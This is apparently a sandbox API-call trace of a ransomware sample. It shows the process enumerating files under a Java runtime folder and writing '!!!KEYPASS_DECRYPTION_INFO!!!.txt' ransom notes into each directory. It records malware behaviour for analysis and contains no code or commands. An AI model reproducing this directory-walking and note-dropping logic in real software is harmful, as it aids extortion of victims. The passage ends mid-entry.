[0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\splash.gif") returned=".gif" [0242.995] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.995] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\splash@2x.gif") returned=".gif" [0242.995] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.995] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\splash_11-lic.gif") returned=".gif" [0242.995] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.995] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\splash_11@2x-lic.gif") returned=".gif" [0242.995] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0242.995] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.995] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy.jar") returned=".jar" [0242.995] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.995] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0242.995] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.995] GetLastError () returned 0x3f0 [0242.995] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.995] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\ext\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584 [0243.053] GetFileType (hFile=0x584) returned 0x1 [0243.053] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.053] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.053] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.053] WriteFile (in: hFile=0x584, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.054] WriteFile (in: hFile=0x584, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.054] CloseHandle (hObject=0x584) returned 1 [0243.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79218 [0243.054] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.054] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.054] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.054] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.054] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\access-bridge-64.jar") returned=".jar" [0243.054] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.054] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\cldrdata.jar") returned=".jar" [0243.054] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\dnsns.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\jaccess.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\jfxrt.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\localedata.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\meta-index") returned="" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\nashorn.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\sunec.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\sunjce_provider.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\sunmscapi.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\sunpkcs11.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\ext\\zipfs.jar") returned=".jar" [0243.055] FindNextFileW (in: hFindFile=0x2e79218, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0243.055] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\flavormap.properties") returned=".properties" [0243.055] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fontconfig.bfc") returned=".bfc" [0243.055] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.055] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fontconfig.properties.src") returned=".src" [0243.055] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.055] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.055] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.056] GetLastError () returned 0x3f0 [0243.056] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.056] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.066] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\fonts\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x57c [0243.069] GetFileType (hFile=0x57c) returned 0x1 [0243.069] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.069] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.069] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.069] WriteFile (in: hFile=0x57c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.070] WriteFile (in: hFile=0x57c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.070] CloseHandle (hObject=0x57c) returned 1 [0243.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79398 [0243.071] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.071] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.071] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.071] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.071] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned=".ttf" [0243.071] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.071] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned=".ttf" [0243.071] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.071] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\LucidaBrightItalic.ttf") returned=".ttf" [0243.071] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.071] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\LucidaBrightRegular.ttf") returned=".ttf" [0243.071] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.071] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\LucidaSansDemiBold.ttf") returned=".ttf" [0243.071] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.071] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\LucidaSansRegular.ttf") returned=".ttf" [0243.071] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.071] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\LucidaTypewriterBold.ttf") returned=".ttf" [0243.072] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.072] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned=".ttf" [0243.072] FindNextFileW (in: hFindFile=0x2e79398, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0243.072] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.072] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\hijrah-config-umalqura.properties") returned=".properties" [0243.072] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.072] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.072] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.072] GetLastError () returned 0x3f0 [0243.072] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.072] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.073] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\images\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58c [0243.074] GetFileType (hFile=0x58c) returned 0x1 [0243.074] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.074] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.074] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.074] WriteFile (in: hFile=0x58c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.075] WriteFile (in: hFile=0x58c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.075] CloseHandle (hObject=0x58c) returned 1 [0243.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e794d8 [0243.075] FindNextFileW (in: hFindFile=0x2e794d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.075] FindNextFileW (in: hFindFile=0x2e794d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.075] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.076] FindNextFileW (in: hFindFile=0x2e794d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.076] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0243.076] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2ea2e70 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.076] GetLastError () returned 0x3f0 [0243.076] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.076] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\images\\cursors\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0243.118] GetFileType (hFile=0x590) returned 0x1 [0243.118] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0243.118] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0243.118] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0243.118] WriteFile (in: hFile=0x590, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0243.119] WriteFile (in: hFile=0x590, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0243.119] CloseHandle (hObject=0x590) returned 1 [0243.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x2e78f98 [0243.120] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.120] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.120] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.120] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.120] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\cursors.properties") returned=".properties" [0243.120] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.120] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\invalid32x32.gif") returned=".gif" [0243.120] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.120] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned=".gif" [0243.120] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.120] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned=".gif" [0243.120] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.120] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned=".gif" [0243.120] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.120] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned=".gif" [0243.120] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.121] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned=".gif" [0243.121] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.121] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned=".gif" [0243.121] FindNextFileW (in: hFindFile=0x2e78f98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0243.121] FindNextFileW (in: hFindFile=0x2e794d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0243.121] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.121] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\javafx.properties") returned=".properties" [0243.121] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.121] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\javaws.jar") returned=".jar" [0243.121] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.121] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jce.jar") returned=".jar" [0243.121] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.121] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.121] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.121] GetLastError () returned 0x3f0 [0243.121] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jfr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jfr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.121] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jfr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jfr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\jfr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0243.123] GetFileType (hFile=0x588) returned 0x1 [0243.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.124] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.124] WriteFile (in: hFile=0x588, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.125] WriteFile (in: hFile=0x588, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.125] CloseHandle (hObject=0x588) returned 1 [0243.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jfr\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79198 [0243.125] FindNextFileW (in: hFindFile=0x2e79198, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.125] FindNextFileW (in: hFindFile=0x2e79198, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.125] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jfr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.125] FindNextFileW (in: hFindFile=0x2e79198, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.125] PathFindExtensionW (pszPath="C:\\Program 